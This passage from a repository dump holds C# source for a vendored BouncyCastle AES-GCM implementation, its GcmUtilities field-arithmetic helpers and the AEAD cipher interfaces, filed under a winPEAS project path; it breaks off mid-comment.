gHASHBlock(S_at, atBlock);\n                    atBlockPos = 0;\n                    atLength += BlockSize;\n                }\n            }\n        }\n\n        private void InitCipher()\n        {\n            if (atLength > 0)\n            {\n                Array.Copy(S_at, 0, S_atPre, 0, BlockSize);\n                atLengthPre = atLength;\n            }\n\n            // Finish hash for partial AAD block\n            if (atBlockPos > 0)\n            {\n                gHASHPartial(S_atPre, atBlock, 0, atBlockPos);\n                atLengthPre += (uint)atBlockPos;\n            }\n\n            if (atLengthPre > 0)\n            {\n                Array.Copy(S_atPre, 0, S, 0, BlockSize);\n            }\n        }\n\n        public virtual int ProcessByte(\n            byte input,\n            byte[] output,\n            int outOff)\n        {\n            CheckStatus();\n\n            bufBlock[bufOff] = input;\n            if (++bufOff == bufBlock.Length)\n            {\n                ProcessBlock(bufBlock, 0, output, outOff);\n                if (forEncryption)\n                {\n                    bufOff = 0;\n                }\n                else\n                {\n                    Array.Copy(bufBlock, BlockSize, bufBlock, 0, macSize);\n                    bufOff = macSize;\n                }\n                return BlockSize;\n            }\n            return 0;\n        }\n\n        public virtual int ProcessBytes(\n            byte[] input,\n            int inOff,\n            int len,\n            byte[] output,\n            int outOff)\n        {\n            CheckStatus();\n\n            Check.DataLength(input, inOff, len, \"input buffer too short\");\n\n            int resultLen = 0;\n\n            if (forEncryption)\n            {\n                if (bufOff != 0)\n                {\n                    while (len > 0)\n                    {\n                        --len;\n                        bufBlock[bufOff] = input[inOff++];\n                        if (++bufOff == BlockSize)\n                        {\n                            ProcessBlock(bufBlock, 0, output, outOff);\n                            bufOff = 0;\n                            resultLen += BlockSize;\n                            break;\n                        }\n                    }\n                }\n\n                while (len >= BlockSize)\n                {\n                    ProcessBlock(input, inOff, output, outOff + resultLen);\n                    inOff += BlockSize;\n                    len -= BlockSize;\n                    resultLen += BlockSize;\n                }\n\n                if (len > 0)\n                {\n                    Array.Copy(input, inOff, bufBlock, 0, len);\n                    bufOff = len;\n                }\n            }\n            else\n            {\n                for (int i = 0; i < len; ++i)\n                {\n                    bufBlock[bufOff] = input[inOff + i];\n                    if (++bufOff == bufBlock.Length)\n                    {\n                        ProcessBlock(bufBlock, 0, output, outOff + resultLen);\n                        Array.Copy(bufBlock, BlockSize, bufBlock, 0, macSize);\n                        bufOff = macSize;\n                        resultLen += BlockSize;\n                    }\n                }\n            }\n\n            return resultLen;\n        }\n\n        public int DoFinal(byte[] output, int outOff)\n        {\n            CheckStatus();\n\n            if (totalLength == 0)\n            {\n                InitCipher();\n            }\n\n            int extra = bufOff;\n\n            if (forEncryption)\n            {\n                Check.OutputLength(output, outOff, extra + macSize, \"Output buffer too short\");\n            }\n            else\n            {\n                if (extra < macSize)\n                    throw new InvalidCipherTextException(\"data too short\");\n\n                extra -= macSize;\n\n                Check.OutputLength(output, outOff, extra, \"Output buffer too short\");\n            }\n\n            if (extra > 0)\n            {\n                ProcessPartial(bufBlock, 0, extra, output, outOff);\n            }\n\n            atLength += (uint)atBlockPos;\n\n            if (atLength > atLengthPre)\n            {\n                /*\n                 *  Some AAD was sent after the cipher started. We determine the difference b/w the hash value\n                 *  we actually used when the cipher started (S_atPre) and the final hash value calculated (S_at).\n                 *  Then we carry this difference forward by multiplying by H^c, where c is the number of (full or\n                 *  partial) cipher-text blocks produced, and adjust the current hash.\n                 */\n\n                // Finish hash for partial AAD block\n                if (atBlockPos > 0)\n                {\n                    gHASHPartial(S_at, atBlock, 0, atBlockPos);\n                }\n\n                // Find the difference between the AAD hashes\n                if (atLengthPre > 0)\n                {\n                    GcmUtilities.Xor(S_at, S_atPre);\n                }\n\n                // Number of cipher-text blocks produced\n                long c = (long)(((totalLength * 8) + 127) >> 7);\n\n                // Calculate the adjustment factor\n                byte[] H_c = new byte[16];\n                if (exp == null)\n                {\n                    exp = new BasicGcmExponentiator();\n                    exp.Init(H);\n                }\n                exp.ExponentiateX(c, H_c);\n\n                // Carry the difference forward\n                GcmUtilities.Multiply(S_at, H_c);\n\n                // Adjust the current hash\n                GcmUtilities.Xor(S, S_at);\n            }\n\n            // Final gHASH\n            byte[] X = new byte[BlockSize];\n            Pack.UInt64_To_BE(atLength * 8UL, X, 0);\n            Pack.UInt64_To_BE(totalLength * 8UL, X, 8);\n\n            gHASHBlock(S, X);\n\n            // T = MSBt(GCTRk(J0,S))\n            byte[] tag = new byte[BlockSize];\n            cipher.ProcessBlock(J0, 0, tag, 0);\n            GcmUtilities.Xor(tag, S);\n\n            int resultLen = extra;\n\n            // We place into macBlock our calculated value for T\n            this.macBlock = new byte[macSize];\n            Array.Copy(tag, 0, macBlock, 0, macSize);\n\n            if (forEncryption)\n            {\n                // Append T to the message\n                Array.Copy(macBlock, 0, output, outOff + bufOff, macSize);\n                resultLen += macSize;\n            }\n            else\n            {\n                // Retrieve the T value from the message and compare to calculated one\n                byte[] msgMac = new byte[macSize];\n                Array.Copy(bufBlock, extra, msgMac, 0, macSize);\n                if (!Arrays.ConstantTimeAreEqual(this.macBlock, msgMac))\n                    throw new InvalidCipherTextException(\"mac check in GCM failed\");\n            }\n\n            Reset(false);\n\n            return resultLen;\n        }\n\n        public virtual void Reset()\n        {\n            Reset(true);\n        }\n\n        private void Reset(\n            bool clearMac)\n        {\n            cipher.Reset();\n\n            // note: we do not reset the nonce.\n\n            S = new byte[BlockSize];\n            S_at = new byte[BlockSize];\n            S_atPre = new byte[BlockSize];\n            atBlock = new byte[BlockSize];\n            atBlockPos = 0;\n            atLength = 0;\n            atLengthPre = 0;\n            counter = Arrays.Clone(J0);\n            blocksRemaining = uint.MaxValue - 1;\n            bufOff = 0;\n            totalLength = 0;\n\n            if (bufBlock != null)\n            {\n                Arrays.Fill(bufBlock, 0);\n            }\n\n            if (clearMac)\n            {\n                macBlock = null;\n            }\n\n            if (forEncryption)\n            {\n                initialised = false;\n            }\n            else\n            {\n                if (initialAssociatedText != null)\n                {\n                    ProcessAadBytes(initialAssociatedText, 0, initialAssociatedText.Length);\n                }\n            }\n        }\n\n        private void ProcessBlock(byte[] buf, int bufOff, byte[] output, int outOff)\n        {\n            Check.OutputLength(output, outOff, BlockSize, \"Output buffer too short\");\n\n            if (totalLength == 0)\n            {\n                InitCipher();\n            }\n\n            byte[] ctrBlock = new byte[BlockSize];\n            GetNextCtrBlock(ctrBlock);\n\n            if (forEncryption)\n            {\n                GcmUtilities.Xor(ctrBlock, buf, bufOff);\n                gHASHBlock(S, ctrBlock);\n                Array.Copy(ctrBlock, 0, output, outOff, BlockSize);\n            }\n            else\n            {\n                gHASHBlock(S, buf, bufOff);\n                GcmUtilities.Xor(ctrBlock, 0, buf, bufOff, output, outOff);\n            }\n\n            totalLength += BlockSize;\n        }\n\n        private void ProcessPartial(byte[] buf, int off, int len, byte[] output, int outOff)\n        {\n            byte[] ctrBlock = new byte[BlockSize];\n            GetNextCtrBlock(ctrBlock);\n\n            if (forEncryption)\n            {\n                GcmUtilities.Xor(buf, off, ctrBlock, 0, len);\n                gHASHPartial(S, buf, off, len);\n            }\n            else\n            {\n                gHASHPartial(S, buf, off, len);\n                GcmUtilities.Xor(buf, off, ctrBlock, 0, len);\n            }\n\n            Array.Copy(buf, off, output, outOff, len);\n            totalLength += (uint)len;\n        }\n\n        private void gHASH(byte[] Y, byte[] b, int len)\n        {\n            for (int pos = 0; pos < len; pos += BlockSize)\n            {\n                int num = System.Math.Min(len - pos, BlockSize);\n                gHASHPartial(Y, b, pos, num);\n            }\n        }\n\n        private void gHASHBlock(byte[] Y, byte[] b)\n        {\n            GcmUtilities.Xor(Y, b);\n            multiplier.MultiplyH(Y);\n        }\n\n        private void gHASHBlock(byte[] Y, byte[] b, int off)\n        {\n            GcmUtilities.Xor(Y, b, off);\n            multiplier.MultiplyH(Y);\n        }\n\n        private void gHASHPartial(byte[] Y, byte[] b, int off, int len)\n        {\n            GcmUtilities.Xor(Y, b, off, len);\n            multiplier.MultiplyH(Y);\n        }\n\n        private void GetNextCtrBlock(byte[] block)\n        {\n            if (blocksRemaining == 0)\n                throw new InvalidOperationException(\"Attempt to process too many blocks\");\n\n            blocksRemaining--;\n\n            uint c = 1;\n            c += counter[15]; counter[15] = (byte)c; c >>= 8;\n            c += counter[14]; counter[14] = (byte)c; c >>= 8;\n            c += counter[13]; counter[13] = (byte)c; c >>= 8;\n            c += counter[12]; counter[12] = (byte)c;\n\n            cipher.ProcessBlock(counter, 0, block, 0);\n        }\n\n        private void CheckStatus()\n        {\n            if (!initialised)\n            {\n                if (forEncryption)\n                {\n                    throw new InvalidOperationException(\"GCM cipher cannot be reused for encryption\");\n                }\n                throw new InvalidOperationException(\"GCM cipher needs to be initialised\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/GcmUtilities.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.math.raw;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.modes\n{\n    internal abstract class GcmUtilities\n    {\n        private const uint E1 = 0xe1000000;\n        private const ulong E1UL = (ulong)E1 << 32;\n\n        internal static byte[] OneAsBytes()\n        {\n            byte[] tmp = new byte[16];\n            tmp[0] = 0x80;\n            return tmp;\n        }\n\n        internal static uint[] OneAsUints()\n        {\n            uint[] tmp = new uint[4];\n            tmp[0] = 0x80000000;\n            return tmp;\n        }\n\n        internal static ulong[] OneAsUlongs()\n        {\n            ulong[] tmp = new ulong[2];\n            tmp[0] = 1UL << 63;\n            return tmp;\n        }\n\n        internal static byte[] AsBytes(uint[] x)\n        {\n            return Pack.UInt32_To_BE(x);\n        }\n\n        internal static void AsBytes(uint[] x, byte[] z)\n        {\n            Pack.UInt32_To_BE(x, z, 0);\n        }\n\n        internal static byte[] AsBytes(ulong[] x)\n        {\n            byte[] z = new byte[16];\n            Pack.UInt64_To_BE(x, z, 0);\n            return z;\n        }\n\n        internal static void AsBytes(ulong[] x, byte[] z)\n        {\n            Pack.UInt64_To_BE(x, z, 0);\n        }\n\n        internal static uint[] AsUints(byte[] bs)\n        {\n            uint[] output = new uint[4];\n            Pack.BE_To_UInt32(bs, 0, output);\n            return output;\n        }\n\n        internal static void AsUints(byte[] bs, uint[] output)\n        {\n            Pack.BE_To_UInt32(bs, 0, output);\n        }\n\n        internal static ulong[] AsUlongs(byte[] x)\n        {\n            ulong[] z = new ulong[2];\n            Pack.BE_To_UInt64(x, 0, z);\n            return z;\n        }\n\n        internal static void AsUlongs(byte[] x, ulong[] z)\n        {\n            Pack.BE_To_UInt64(x, 0, z);\n        }\n\n        internal static void AsUlongs(byte[] x, ulong[] z, int zOff)\n        {\n            Pack.BE_To_UInt64(x, 0, z, zOff, 2);\n        }\n\n        internal static void Copy(uint[] x, uint[] z)\n        {\n            z[0] = x[0];\n            z[1] = x[1];\n            z[2] = x[2];\n            z[3] = x[3];\n        }\n\n        internal static void Copy(ulong[] x, ulong[] z)\n        {\n            z[0] = x[0];\n            z[1] = x[1];\n        }\n\n        internal static void Copy(ulong[] x, int xOff, ulong[] z, int zOff)\n        {\n            z[zOff + 0] = x[xOff + 0];\n            z[zOff + 1] = x[xOff + 1];\n        }\n\n        internal static void DivideP(ulong[] x, ulong[] z)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong m = (ulong)((long)x0 >> 63);\n            x0 ^= (m & E1UL);\n            z[0] = (x0 << 1) | (x1 >> 63);\n            z[1] = (x1 << 1) | (ulong)(-(long)m);\n        }\n\n        internal static void DivideP(ulong[] x, int xOff, ulong[] z, int zOff)\n        {\n            ulong x0 = x[xOff + 0], x1 = x[xOff + 1];\n            ulong m = (ulong)((long)x0 >> 63);\n            x0 ^= (m & E1UL);\n            z[zOff + 0] = (x0 << 1) | (x1 >> 63);\n            z[zOff + 1] = (x1 << 1) | (ulong)(-(long)m);\n        }\n\n        internal static void Multiply(byte[] x, byte[] y)\n        {\n            ulong[] t1 = GcmUtilities.AsUlongs(x);\n            ulong[] t2 = GcmUtilities.AsUlongs(y);\n            GcmUtilities.Multiply(t1, t2);\n            GcmUtilities.AsBytes(t1, x);\n        }\n\n        internal static void Multiply(uint[] x, uint[] y)\n        {\n            uint y0 = y[0], y1 = y[1], y2 = y[2], y3 = y[3];\n            uint z0 = 0, z1 = 0, z2 = 0, z3 = 0;\n\n            for (int i = 0; i < 4; ++i)\n            {\n                int bits = (int)x[i];\n                for (int j = 0; j < 32; ++j)\n                {\n                    uint m1 = (uint)(bits >> 31); bits <<= 1;\n                    z0 ^= (y0 & m1);\n                    z1 ^= (y1 & m1);\n                    z2 ^= (y2 & m1);\n                    z3 ^= (y3 & m1);\n\n                    uint m2 = (uint)((int)(y3 << 31) >> 8);\n                    y3 = (y3 >> 1) | (y2 << 31);\n                    y2 = (y2 >> 1) | (y1 << 31);\n                    y1 = (y1 >> 1) | (y0 << 31);\n                    y0 = (y0 >> 1) ^ (m2 & E1);\n                }\n            }\n\n            x[0] = z0;\n            x[1] = z1;\n            x[2] = z2;\n            x[3] = z3;\n        }\n\n        internal static void Multiply(ulong[] x, ulong[] y)\n        {\n            //ulong x0 = x[0], x1 = x[1];\n            //ulong y0 = y[0], y1 = y[1];\n            //ulong z0 = 0, z1 = 0, z2 = 0;\n\n            //for (int j = 0; j < 64; ++j)\n            //{\n            //    ulong m0 = (ulong)((long)x0 >> 63); x0 <<= 1;\n            //    z0 ^= (y0 & m0);\n            //    z1 ^= (y1 & m0);\n\n            //    ulong m1 = (ulong)((long)x1 >> 63); x1 <<= 1;\n            //    z1 ^= (y0 & m1);\n            //    z2 ^= (y1 & m1);\n\n            //    ulong c = (ulong)((long)(y1 << 63) >> 8);\n            //    y1 = (y1 >> 1) | (y0 << 63);\n            //    y0 = (y0 >> 1) ^ (c & E1UL);\n            //}\n\n            //z0 ^= z2 ^ (z2 >>  1) ^ (z2 >>  2) ^ (z2 >>  7);\n            //z1 ^=      (z2 << 63) ^ (z2 << 62) ^ (z2 << 57);\n\n            //x[0] = z0;\n            //x[1] = z1;\n\n            /*\n             * \"Three-way recursion\" as described in \"Batch binary Edwards\", Daniel J. Bernstein.\n             *\n             * Without access to the high part of a 64x64 product x * y, we use a bit reversal to calculate it:\n             *     rev(x) * rev(y) == rev((x * y) << 1) \n             */\n\n            ulong x0 = x[0], x1 = x[1];\n            ulong y0 = y[0], y1 = y[1];\n            ulong x0r = Longs.Reverse(x0), x1r = Longs.Reverse(x1);\n            ulong y0r = Longs.Reverse(y0), y1r = Longs.Reverse(y1);\n\n            ulong h0 = Longs.Reverse(ImplMul64(x0r, y0r));\n            ulong h1 = ImplMul64(x0, y0) << 1;\n            ulong h2 = Longs.Reverse(ImplMul64(x1r, y1r));\n            ulong h3 = ImplMul64(x1, y1) << 1;\n            ulong h4 = Longs.Reverse(ImplMul64(x0r ^ x1r, y0r ^ y1r));\n            ulong h5 = ImplMul64(x0 ^ x1, y0 ^ y1) << 1;\n\n            ulong z0 = h0;\n            ulong z1 = h1 ^ h0 ^ h2 ^ h4;\n            ulong z2 = h2 ^ h1 ^ h3 ^ h5;\n            ulong z3 = h3;\n\n            z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7);\n            //          z2 ^=      (z3 << 63) ^ (z3 << 62) ^ (z3 << 57);\n            z2 ^= (z3 << 62) ^ (z3 << 57);\n\n            z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7);\n            z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57);\n\n            x[0] = z0;\n            x[1] = z1;\n        }\n\n        internal static void MultiplyP(uint[] x)\n        {\n            uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3];\n            uint m = (uint)((int)(x3 << 31) >> 31);\n            x[0] = (x0 >> 1) ^ (m & E1);\n            x[1] = (x1 >> 1) | (x0 << 31);\n            x[2] = (x2 >> 1) | (x1 << 31);\n            x[3] = (x3 >> 1) | (x2 << 31);\n        }\n\n        internal static void MultiplyP(uint[] x, uint[] z)\n        {\n            uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3];\n            uint m = (uint)((int)(x3 << 31) >> 31);\n            z[0] = (x0 >> 1) ^ (m & E1);\n            z[1] = (x1 >> 1) | (x0 << 31);\n            z[2] = (x2 >> 1) | (x1 << 31);\n            z[3] = (x3 >> 1) | (x2 << 31);\n        }\n\n        internal static void MultiplyP(ulong[] x)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong m = (ulong)((long)(x1 << 63) >> 63);\n            x[0] = (x0 >> 1) ^ (m & E1UL);\n            x[1] = (x1 >> 1) | (x0 << 63);\n        }\n\n        internal static void MultiplyP(ulong[] x, ulong[] z)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong m = (ulong)((long)(x1 << 63) >> 63);\n            z[0] = (x0 >> 1) ^ (m & E1UL);\n            z[1] = (x1 >> 1) | (x0 << 63);\n        }\n\n        internal static void MultiplyP3(ulong[] x, ulong[] z)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong c = x1 << 61;\n            z[0] = (x0 >> 3) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[1] = (x1 >> 3) | (x0 << 61);\n        }\n\n        internal static void MultiplyP3(ulong[] x, int xOff, ulong[] z, int zOff)\n        {\n            ulong x0 = x[xOff + 0], x1 = x[xOff + 1];\n            ulong c = x1 << 61;\n            z[zOff + 0] = (x0 >> 3) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[zOff + 1] = (x1 >> 3) | (x0 << 61);\n        }\n\n        internal static void MultiplyP4(ulong[] x, ulong[] z)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong c = x1 << 60;\n            z[0] = (x0 >> 4) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[1] = (x1 >> 4) | (x0 << 60);\n        }\n\n        internal static void MultiplyP4(ulong[] x, int xOff, ulong[] z, int zOff)\n        {\n            ulong x0 = x[xOff + 0], x1 = x[xOff + 1];\n            ulong c = x1 << 60;\n            z[zOff + 0] = (x0 >> 4) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[zOff + 1] = (x1 >> 4) | (x0 << 60);\n        }\n\n        internal static void MultiplyP7(ulong[] x, ulong[] z)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong c = x1 << 57;\n            z[0] = (x0 >> 7) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[1] = (x1 >> 7) | (x0 << 57);\n        }\n\n        internal static void MultiplyP7(ulong[] x, int xOff, ulong[] z, int zOff)\n        {\n            ulong x0 = x[xOff + 0], x1 = x[xOff + 1];\n            ulong c = x1 << 57;\n            z[zOff + 0] = (x0 >> 7) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            z[zOff + 1] = (x1 >> 7) | (x0 << 57);\n        }\n\n        internal static void MultiplyP8(uint[] x)\n        {\n            uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3];\n            uint c = x3 << 24;\n            x[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            x[1] = (x1 >> 8) | (x0 << 24);\n            x[2] = (x2 >> 8) | (x1 << 24);\n            x[3] = (x3 >> 8) | (x2 << 24);\n        }\n\n        internal static void MultiplyP8(uint[] x, uint[] y)\n        {\n            uint x0 = x[0], x1 = x[1], x2 = x[2], x3 = x[3];\n            uint c = x3 << 24;\n            y[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            y[1] = (x1 >> 8) | (x0 << 24);\n            y[2] = (x2 >> 8) | (x1 << 24);\n            y[3] = (x3 >> 8) | (x2 << 24);\n        }\n\n        internal static void MultiplyP8(ulong[] x)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong c = x1 << 56;\n            x[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            x[1] = (x1 >> 8) | (x0 << 56);\n        }\n\n        internal static void MultiplyP8(ulong[] x, ulong[] y)\n        {\n            ulong x0 = x[0], x1 = x[1];\n            ulong c = x1 << 56;\n            y[0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            y[1] = (x1 >> 8) | (x0 << 56);\n        }\n\n        internal static void MultiplyP8(ulong[] x, int xOff, ulong[] y, int yOff)\n        {\n            ulong x0 = x[xOff + 0], x1 = x[xOff + 1];\n            ulong c = x1 << 56;\n            y[yOff + 0] = (x0 >> 8) ^ c ^ (c >> 1) ^ (c >> 2) ^ (c >> 7);\n            y[yOff + 1] = (x1 >> 8) | (x0 << 56);\n        }\n\n        internal static void Square(ulong[] x, ulong[] z)\n        {\n            ulong[] t = new ulong[4];\n            Interleave.Expand64To128Rev(x[0], t, 0);\n            Interleave.Expand64To128Rev(x[1], t, 2);\n\n            ulong z0 = t[0], z1 = t[1], z2 = t[2], z3 = t[3];\n\n            z1 ^= z3 ^ (z3 >> 1) ^ (z3 >> 2) ^ (z3 >> 7);\n            //          z2 ^=      (z3 << 63) ^ (z3 << 62) ^ (z3 << 57);\n            z2 ^= (z3 << 62) ^ (z3 << 57);\n\n            z0 ^= z2 ^ (z2 >> 1) ^ (z2 >> 2) ^ (z2 >> 7);\n            z1 ^= (z2 << 63) ^ (z2 << 62) ^ (z2 << 57);\n\n            z[0] = z0;\n            z[1] = z1;\n        }\n\n        internal static void Xor(byte[] x, byte[] y)\n        {\n            int i = 0;\n            do\n            {\n                x[i] ^= y[i]; ++i;\n                x[i] ^= y[i]; ++i;\n                x[i] ^= y[i]; ++i;\n                x[i] ^= y[i]; ++i;\n            }\n            while (i < 16);\n        }\n\n        internal static void Xor(byte[] x, byte[] y, int yOff)\n        {\n            int i = 0;\n            do\n            {\n                x[i] ^= y[yOff + i]; ++i;\n                x[i] ^= y[yOff + i]; ++i;\n                x[i] ^= y[yOff + i]; ++i;\n                x[i] ^= y[yOff + i]; ++i;\n            }\n            while (i < 16);\n        }\n\n        internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, byte[] z, int zOff)\n        {\n            int i = 0;\n            do\n            {\n                z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i;\n                z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i;\n                z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i;\n                z[zOff + i] = (byte)(x[xOff + i] ^ y[yOff + i]); ++i;\n            }\n            while (i < 16);\n        }\n\n        internal static void Xor(byte[] x, byte[] y, int yOff, int yLen)\n        {\n            while (--yLen >= 0)\n            {\n                x[yLen] ^= y[yOff + yLen];\n            }\n        }\n\n        internal static void Xor(byte[] x, int xOff, byte[] y, int yOff, int len)\n        {\n            while (--len >= 0)\n            {\n                x[xOff + len] ^= y[yOff + len];\n            }\n        }\n\n        internal static void Xor(byte[] x, byte[] y, byte[] z)\n        {\n            int i = 0;\n            do\n            {\n                z[i] = (byte)(x[i] ^ y[i]); ++i;\n                z[i] = (byte)(x[i] ^ y[i]); ++i;\n                z[i] = (byte)(x[i] ^ y[i]); ++i;\n                z[i] = (byte)(x[i] ^ y[i]); ++i;\n            }\n            while (i < 16);\n        }\n\n        internal static void Xor(uint[] x, uint[] y)\n        {\n            x[0] ^= y[0];\n            x[1] ^= y[1];\n            x[2] ^= y[2];\n            x[3] ^= y[3];\n        }\n\n        internal static void Xor(uint[] x, uint[] y, uint[] z)\n        {\n            z[0] = x[0] ^ y[0];\n            z[1] = x[1] ^ y[1];\n            z[2] = x[2] ^ y[2];\n            z[3] = x[3] ^ y[3];\n        }\n\n        internal static void Xor(ulong[] x, ulong[] y)\n        {\n            x[0] ^= y[0];\n            x[1] ^= y[1];\n        }\n\n        internal static void Xor(ulong[] x, int xOff, ulong[] y, int yOff)\n        {\n            x[xOff + 0] ^= y[yOff + 0];\n            x[xOff + 1] ^= y[yOff + 1];\n        }\n\n        internal static void Xor(ulong[] x, ulong[] y, ulong[] z)\n        {\n            z[0] = x[0] ^ y[0];\n            z[1] = x[1] ^ y[1];\n        }\n\n        internal static void Xor(ulong[] x, int xOff, ulong[] y, int yOff, ulong[] z, int zOff)\n        {\n            z[zOff + 0] = x[xOff + 0] ^ y[yOff + 0];\n            z[zOff + 1] = x[xOff + 1] ^ y[yOff + 1];\n        }\n\n        private static ulong ImplMul64(ulong x, ulong y)\n        {\n            ulong x0 = x & 0x1111111111111111UL;\n            ulong x1 = x & 0x2222222222222222UL;\n            ulong x2 = x & 0x4444444444444444UL;\n            ulong x3 = x & 0x8888888888888888UL;\n\n            ulong y0 = y & 0x1111111111111111UL;\n            ulong y1 = y & 0x2222222222222222UL;\n            ulong y2 = y & 0x4444444444444444UL;\n            ulong y3 = y & 0x8888888888888888UL;\n\n            ulong z0 = (x0 * y0) ^ (x1 * y3) ^ (x2 * y2) ^ (x3 * y1);\n            ulong z1 = (x0 * y1) ^ (x1 * y0) ^ (x2 * y3) ^ (x3 * y2);\n            ulong z2 = (x0 * y2) ^ (x1 * y1) ^ (x2 * y0) ^ (x3 * y3);\n            ulong z3 = (x0 * y3) ^ (x1 * y2) ^ (x2 * y1) ^ (x3 * y0);\n\n            z0 &= 0x1111111111111111UL;\n            z1 &= 0x2222222222222222UL;\n            z2 &= 0x4444444444444444UL;\n            z3 &= 0x8888888888888888UL;\n\n            return z0 | z1 | z2 | z3;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/IAeadBlockCipher.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.modes\n{\n    /// <summary>An IAeadCipher based on an IBlockCipher.</summary>\n    public interface IAeadBlockCipher\n        : IAeadCipher\n    {\n        /// <returns>The block size for this cipher, in bytes.</returns>\n        int GetBlockSize();\n\n        /// <summary>The block cipher underlying this algorithm.</summary>\n\t\tIBlockCipher GetUnderlyingCipher();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/modes/IAeadCipher.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.modes\n{\n    /// <summary>\n    /// A cipher mode that includes authenticated encryption with a streaming mode and optional\n    /// associated data.\n    /// </summary>\n    /// <remarks>\n    /// Implementations of this interface may operate in a packet mode (where all input data is\n    /// buffered and processed during the call to DoFinal, or in a streaming mode (where output\n    /// data is incrementally produced with each call to ProcessByte or ProcessBytes. This is\n    /// important to consider during decryption: in a streaming mode, unauthenticated plaintext\n    /// data may be output prior to the call to DoFinal that results in an authentication failure.\n    /// The higher level protocol utilising this cipher must ensure the plaintext data is handled\n    /// appropriately until the end of data is reached and the entire ciphertext is authenticated.\n    /// </remarks>\n    /// <see cref=\"AeadParameters\"/>\n    public interface IAeadCipher\n    {\n        /// <summary>The name of the algorithm this cipher implements.</summary>\n        string AlgorithmName { get; }\n\n        /// <summary>Initialise the cipher.</summary>\n        /// <remarks>Parameter can either be an AeadParameters or a ParametersWithIV object.</remarks>\n        /// <param name=\"forEncryption\">Initialise for encryption if true, for decryption if false.</param>\n        /// <param name=\"parameters\">The key or other data required by the cipher.</param>\n        void Init(bool forEncryption, ICipherParameters parameters);\n\n        /// <summary>Add a single byte to the associated data check.</summary>\n        /// <remarks>If the implementation supports it, this will be an online operation and will not retain the associated data.</remarks>\n        /// <param name=\"input\">The byte to be processed.</param>\n        void ProcessAadByte(byte input);\n\n        /// <summary>Add a sequence of bytes to the associated data check.</summary>\n        /// <remarks>If the implementation supports it, this will be an online operation and will not retain the associated data.</remarks>\n        /// <param name=\"inBytes\">The input byte array.</param>\n        /// <param name=\"inOff\">The offset into the input array where the data to be processed starts.</param>\n        /// <param name=\"len\">The number of bytes to be processed.</param>\n        void ProcessAadBytes(byte[] inBytes, int inOff, int len);\n\n        /**\n\t\t* Encrypt/decrypt a single byte.\n\t\t*\n\t\t* @param input the byte to be processed.\n\t\t* @param outBytes the output buffer the processed byte goes into.\n\t\t* @param outOff the offset into the output byte array the processed data starts at.\n\t\t* @return the number of bytes written to out.\n\t\t* @exception DataLengthException if the output buffer is too small.\n\t\t*/\n        int ProcessByte(byte input, byte[] outBytes, int outOff);\n\n        /**\n        * Process a block of bytes from in putting the result into out.\n        *\n        * @param inBytes the input byte array.\n        * @param inOff the offset into the in array where the data to be processed starts.\n        * @param len the number of bytes to be processed.\n        * @param outBytes the output buffer the processed bytes go into.\n        * @param outOff the offset into the output byte array the processed data starts at.\n        * @return the number of bytes written to out.\n        * @exception DataLengthException if the output buffer is too small.\n        */\n        int ProcessBytes(byte[] inBytes, int inOff, int len, byte[] outBytes, int outOff);\n\n        /**\n        * Finish the operation either appending or verifying the MAC at the end of the data.\n        *\n        * @param outBytes space for any resulting output data.\n        * @param outOff offset into out to start copying the data at.\n        * @return number of bytes written into out.\n        * @throws InvalidOperationException if the cipher is in an inappropriate state.\n        * @throws InvalidCipherTextException if the MAC fails to match.\n        */\n        int DoFinal(byte[] outBytes, int outOff);\n\n        /**\n        * Return the value of the MAC associated with the last stream processed.\n        *\n        * @return MAC for plaintext data.\n        */\n        byte[] GetMac();\n\n        /**\n        * Return the size of the output buffer required for a ProcessBytes\n        * an input of len bytes.\n        *\n        * @param len the length of the input.\n        * @return the space required to accommodate a call to ProcessBytes\n        * with len bytes of input.\n        */\n        int GetUpdateOutputSize(int len);\n\n        /**\n        * Return the size of the output buffer required for a ProcessBytes plus a\n        * DoFinal with an input of len bytes.\n        *\n        * @param len the length of the input.\n        * @return the space required to accommodate a call to ProcessBytes and DoFinal\n        * with len bytes of input.\n        */\n        int GetOutputSize(int len);\n\n        /// 